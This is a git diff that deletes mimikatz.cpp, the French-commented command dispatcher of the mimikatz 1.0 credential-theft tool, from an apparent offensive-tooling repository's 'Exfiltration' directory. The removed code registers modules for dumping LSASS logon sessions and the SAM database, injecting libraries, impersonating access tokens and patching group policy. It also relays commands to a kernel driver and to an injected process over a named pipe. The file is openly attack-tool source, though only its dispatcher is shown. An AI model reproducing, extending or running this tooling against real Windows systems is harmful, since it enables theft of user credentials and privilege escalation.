aboutsummaryrefslogtreecommitdiff
path: root/Exfiltration/mimikatz-1.0/mimikatz/mimikatz.cpp
diff options
context:
space:
mode:
Diffstat (limited to 'Exfiltration/mimikatz-1.0/mimikatz/mimikatz.cpp')
-rw-r--r--Exfiltration/mimikatz-1.0/mimikatz/mimikatz.cpp286
1 files changed, 0 insertions, 286 deletions
diff --git a/Exfiltration/mimikatz-1.0/mimikatz/mimikatz.cpp b/Exfiltration/mimikatz-1.0/mimikatz/mimikatz.cpp
deleted file mode 100644
index 7265ef9..0000000
--- a/Exfiltration/mimikatz-1.0/mimikatz/mimikatz.cpp
+++ /dev/null
@@ -1,286 +0,0 @@
-/* Benjamin DELPY `gentilkiwi`
- http://blog.gentilkiwi.com
- benjamin@gentilkiwi.com
- Licence : http://creativecommons.org/licenses/by/3.0/fr/
-*/
-#include "mimikatz.h"
-
-bool mimikatz::initLocalModules()
-{
- mod_system::getVersion(&mod_system::GLOB_Version);
- mod_mimikatz_sekurlsa::loadLsaSrv();
- mod_cryptoapi::loadRsaEnh();
-
- mesModules.push_back(KIWI_MIMIKATZ_LOCAL_MODULE(L"", L"Standard", mod_mimikatz_standard::getMimiKatzCommands()));
- mesModules.push_back(KIWI_MIMIKATZ_LOCAL_MODULE(L"crypto", L"Cryptographie et certificats", mod_mimikatz_crypto::getMimiKatzCommands()));
- mesModules.push_back(KIWI_MIMIKATZ_LOCAL_MODULE(L"hash", L"Hash", mod_mimikatz_hash::getMimiKatzCommands()));
- mesModules.push_back(KIWI_MIMIKATZ_LOCAL_MODULE(L"system", L"Gestion système", mod_mimikatz_system::getMimiKatzCommands()));
- mesModules.push_back(KIWI_MIMIKATZ_LOCAL_MODULE(L"process", L"Manipulation des processus", mod_mimikatz_process::getMimiKatzCommands()));
- mesModules.push_back(KIWI_MIMIKATZ_LOCAL_MODULE(L"thread", L"Manipulation des threads", mod_mimikatz_thread::getMimiKatzCommands()));
- mesModules.push_back(KIWI_MIMIKATZ_LOCAL_MODULE(L"service", L"Manipulation des services", mod_mimikatz_service::getMimiKatzCommands()));
- mesModules.push_back(KIWI_MIMIKATZ_LOCAL_MODULE(L"privilege", L"Manipulation des privilèges", mod_mimikatz_privilege::getMimiKatzCommands()));
- mesModules.push_back(KIWI_MIMIKATZ_LOCAL_MODULE(L"handle", L"Manipulation des handles", mod_mimikatz_handle::getMimiKatzCommands()));
- mesModules.push_back(KIWI_MIMIKATZ_LOCAL_MODULE(L"impersonate", L"Manipulation tokens d\'accès", mod_mimikatz_impersonate::getMimiKatzCommands()));
- mesModules.push_back(KIWI_MIMIKATZ_LOCAL_MODULE(L"winmine", L"Manipulation du démineur", mod_mimikatz_winmine::getMimiKatzCommands()));
- mesModules.push_back(KIWI_MIMIKATZ_LOCAL_MODULE(L"minesweeper", L"Manipulation du démineur 7", mod_mimikatz_minesweeper::getMimiKatzCommands()));
- mesModules.push_back(KIWI_MIMIKATZ_LOCAL_MODULE(L"nogpo", L"Anti-gpo et patchs divers", mod_mimikatz_nogpo::getMimiKatzCommands()));
- mesModules.push_back(KIWI_MIMIKATZ_LOCAL_MODULE(L"samdump", L"Dump de SAM", mod_mimikatz_samdump::getMimiKatzCommands()));
- mesModules.push_back(KIWI_MIMIKATZ_LOCAL_MODULE(L"inject", L"Injecteur de librairies", mod_mimikatz_inject::getMimiKatzCommands()));
- mesModules.push_back(KIWI_MIMIKATZ_LOCAL_MODULE(L"ts", L"Terminal Server", mod_mimikatz_terminalserver::getMimiKatzCommands()));
- mesModules.push_back(KIWI_MIMIKATZ_LOCAL_MODULE(L"divers", L"Fonctions diverses n\'ayant pas encore assez de corps pour avoir leurs propres module", mod_mimikatz_divers::getMimiKatzCommands()));
- mesModules.push_back(KIWI_MIMIKATZ_LOCAL_MODULE(L"sekurlsa", L"Dump des sessions courantes par providers LSASS", mod_mimikatz_sekurlsa::getMimiKatzCommands()));
- mesModules.push_back(KIWI_MIMIKATZ_LOCAL_MODULE(L"efs", L"Manipulations EFS", mod_mimikatz_efs::getMimiKatzCommands()));
- return true;
-}
-
-mimikatz::mimikatz(vector<wstring> * mesArguments) : Kmimikatz(NULL)
-{
- initLocalModules();
- SetConsoleTitle(MIMIKATZ_FULL);
- (*outputStream) << MIMIKATZ_FULL << L"\t/* Traitement du Kiwi (" << __DATE__ << L' ' << __TIME__ << L") */" << endl <<
- L"// http://blog.gentilkiwi.com/mimikatz" << endl;
-
- bool mustContinue = true;
- if(mesArguments)
- {
- for(vector<wstring>::iterator maCommande = mesArguments->begin(); mustContinue && (maCommande != mesArguments->end()); maCommande++)
- {
- wstring commande = *maCommande;
- (*outputStream) << endl << MIMIKATZ << L"(commandline) # " << dec << commande << endl;
- mustContinue = tryToDispatch(&commande);
- }
- }
-
- if(mustContinue)
- {
- wstring * monBuffer = new wstring();
- do
- {
- (*outputStream) << endl << MIMIKATZ << L" # " << dec;
- getline(wcin, *monBuffer);
- } while(tryToDispatch(monBuffer));
- delete monBuffer;
- }
- wcout.flush();
-}
-
-mimikatz::~mimikatz(void)
-{
- mod_cryptoapi::unloadRsaEnh();
- mod_mimikatz_sekurlsa::unloadLsaSrv();
- mod_mimikatz_inject::closeThisCommunicator();
-}
-
-bool mimikatz::tryToDispatch(wstring * maLigne)
-{
- bool reussite = false;
-
- if(!(reussite = maLigne->empty()))
- {
- switch(*(maLigne->begin()))
- {
- case L'@':
- case L'*':
- reussite = this->doCommandeDistante(maLigne->substr(1));
- break;
- case L'!':
- reussite = this->doCommandeKernel(maLigne->substr(1));
- break;
- default:
- wstring fonction = *maLigne;
- vector<wstring> arguments;
-
- size_t monIndex = fonction.find(L' ');
- if(monIndex != wstring::npos)
- {
- fonction = fonction.substr(0, monIndex);
- arguments = mod_parseur::parse(maLigne->substr(monIndex + 1));
- }
- reussite = doCommandeLocale(&fonction, &arguments);
- }
- }
-
- return reussite;
-}
-
-bool mimikatz::doCommandeLocale(wstring * fonction, vector<wstring> * arguments)
-{
- size_t monIndex = fonction->find(L"::");
-
- wstring module = L"";
- wstring commande = *fonction;
-
- if(monIndex != wstring::npos)
- {
- module = fonction->substr(0, monIndex);
- commande = fonction->substr(monIndex + 2);
- }
-
- for(vector<KIWI_MIMIKATZ_LOCAL_MODULE>::iterator monModule = mesModules.begin(); monModule != mesModules.end(); monModule++)
- {
- if(module == monModule->module)
- {
- for(vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND>::iterator maCommande = monModule->commandes.begin(); maCommande != monModule->commandes.end(); maCommande++)
- {
- if(commande == maCommande->commandName)
- {
- return maCommande->ptrCommand(arguments);
- }
- }
-
- if(module.empty()) (*outputStream) << L"Commande locale \'" << commande << L"\' introuvable" << endl;
- else (*outputStream) << L"Module : \'" << module << L"\' identifié, mais commande \'" << commande << L"\' introuvable" << endl;
-
- (*outputStream) << endl << L"Description du module : " << monModule->description << endl;
- listCommandes(monModule);
-
- return true;
- }
- }
-
- (*outputStream) << L"Module : \'" << module << L"\' introuvable" << endl << endl << L"Modules disponibles : " << endl;
- listModules();
- return true;
-}
-
-bool mimikatz::openKernel()
-{
- bool reussite = false;
-
- if(!Kmimikatz || Kmimikatz == INVALID_HANDLE_VALUE)
- {
- (*outputStream) << L"Ouverture du pilote mimikatz : ";
- Kmimikatz = CreateFile(L"\\\\.\\mimikatz", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);
-
- if(reussite = (Kmimikatz && Kmimikatz != INVALID_HANDLE_VALUE))
- (*outputStream) << L"OK";
- else
- (*outputStream) << L"CreateFile ; " << mod_system::getWinError();
- (*outputStream) << endl;
- }
- else
- {
- reussite = true;
- }
-
- return reussite;
-}
-
-bool mimikatz::closeKernel()
-{
- bool reussite = false;
- if(Kmimikatz && Kmimikatz != INVALID_HANDLE_VALUE)
- {
- if(CloseHandle(Kmimikatz))
- {
- Kmimikatz = NULL;
- reussite = true;
- }
- }
- return reussite;
-}
-
-bool mimikatz::doCommandeKernel(std::wstring &commande)
-{
- if(!commande.empty())
- {
- if(openKernel())
- {
- DWORD dwReturn;
- /*
- (*outputStream) << L"DEBUG WriteFile " << endl <<
- L"\tToWrite : " << (commande.size() + 1) * sizeof(wchar_t) << endl;
- */
- if(WriteFile(Kmimikatz, commande.c_str(), (commande.size() + 1) * sizeof(wchar_t), &dwReturn, NULL))
- {
- /*(*outputStream) << L"\tWriten : " << dwReturn << endl << endl;*/
-
- DWORD dwBuff = 0x40000;
- DWORD dwRead = 0;
- BYTE * buffer = new BYTE[dwBuff];
- RtlZeroMemory(buffer, dwBuff);
-
- /*(*outputStream) << L"DEBUG ReadFile " << endl <<
- L"\tBuffSize : " << dwBuff << endl;*/
-
- if(ReadFile(Kmimikatz, buffer, dwBuff, &dwRead, NULL))
- {
- /*(*outputStream) <<
- L"\tReaded : " << dwRead << endl <<
- endl;
- */
- wcout /*<< L"BUFF : " << endl*/
- << reinterpret_cast<wchar_t *>(buffer) << endl;
- }
- else (*outputStream) << L"ReadFile : " << mod_system::getWinError() << endl;
-
- delete[] buffer;
- }
- else (*outputStream) << L"WriteFile : " << mod_system::getWinError() << endl;
- }
- else (*outputStream) << L"Impossible de communiquer avec le pilote mimikatz";
- }
- else
- {
- (*outputStream) << L"Commande vide (fermeture forcée) reçue" << endl;
- closeKernel();
- }
-
- return true;
-}
-
-bool mimikatz::doCommandeDistante(std::wstring &commande)
-{
- bool commOk = false;
-
- if(mod_mimikatz_inject::monCommunicator)
- {
- if(!commande.empty())
- {
- if(mod_mimikatz_inject::monCommunicator->isConnected())
- {
- if(mod_mimikatz_inject::monCommunicator->writeToPipe(commande))
- {
- wstring buffer = L"";
- do
- {
- if(commOk = mod_mimikatz_inject::monCommunicator->readFromPipe(buffer))
- {
- (*outputStream) << buffer.substr(1) ;
- }
- else
- {
- (*outputStream) << L"Erreur : pas de réponse possible ; " << mod_system::getWinError() << endl;
- break;
- }
- } while(*(buffer.begin()) == L'#');
- }
- else (*outputStream) << L"Erreur : pas d\'écriture possible ; " << mod_system::getWinError() << endl;
- }
- }
- else (*outputStream) << L"Commande vide (déconnexion forcée) reçue" << endl;
- }
- else (*outputStream) << L"Erreur : pas ou plus de communication établie" << endl;
-
- if(!commOk)
- mod_mimikatz_inject::closeThisCommunicator();
-
- return true;
-}
-
-void mimikatz::listModules()
-{
- for(vector<KIWI_MIMIKATZ_LOCAL_MODULE>::iterator monModule = mesModules.begin(); monModule != mesModules.end(); monModule++)
- {
- (*outputStream) << setw(12) << setfill(wchar_t(' ')) << monModule->module << L"\t- " << monModule->description << endl;
- }
-}
-
-void mimikatz::listCommandes(vector<KIWI_MIMIKATZ_LOCAL_MODULE>::iterator monModule)
-{
- for(vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND>::iterator maCommande = monModule->commandes.begin(); maCommande != monModule->commandes.end(); maCommande++)
- {
- if(maCommande->commandName.front() != L':')
- (*outputStream) << setw(12) << setfill(wchar_t(' ')) << maCommande->commandName << L"\t- " << maCommande->commandHelp << endl;
- }
-} \ No newline at end of file